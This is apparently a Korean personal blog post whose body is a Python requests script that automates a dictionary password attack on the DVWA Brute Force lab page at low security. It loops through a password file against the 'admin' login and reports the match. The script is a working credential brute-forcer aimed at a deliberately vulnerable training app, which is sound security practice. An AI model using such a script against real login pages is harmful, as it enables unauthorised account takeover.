Self-Improvement
Python의 requests 모듈을 통한 DVWA-Low Brute Force 자동화 코드 본문
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | import requests import sys from bs4 import BeautifulSoup import re #login login_url = 'http://192.168.10.100/dvwa/vulnerabilities/brute/' proxies ={'http': 'http://localhost:9000'} session={'security':'low', 'PHPSESSID':'pf6ilrarqam459ebn9ltmec8tv'} fd = open("password.txt") while True: pass1=fd.readline() pass1=pass1.replace("\n",'') if pass1 == '': sys.exit(1) login_data={'username':'admin','password':pass1,'Login':'Login'} resp=requests.get(login_url,params=login_data,cookies=session, proxies=proxies) soup=BeautifulSoup(resp.text,'lxml') if re.search("Welcome",str(soup.p.string)): print("[OK] password is", pass1) sys.exit(2) else: print("[FAIL] password ls", pass1) fd.close() sys.exit(3) | cs |
'프로그래밍 > Python' 카테고리의 다른 글
python의 argparser 모듈 기본적인 사용법 (0) | 2019.01.10 |
---|---|
Python의 requests Base64 Dictionary 코드 (0) | 2019.01.09 |
Head First Python 5-2장 (0) | 2018.10.22 |
Head First Python 6-1장 (0) | 2018.10.21 |
requests으로 DVWA Low XSS (0) | 2018.10.21 |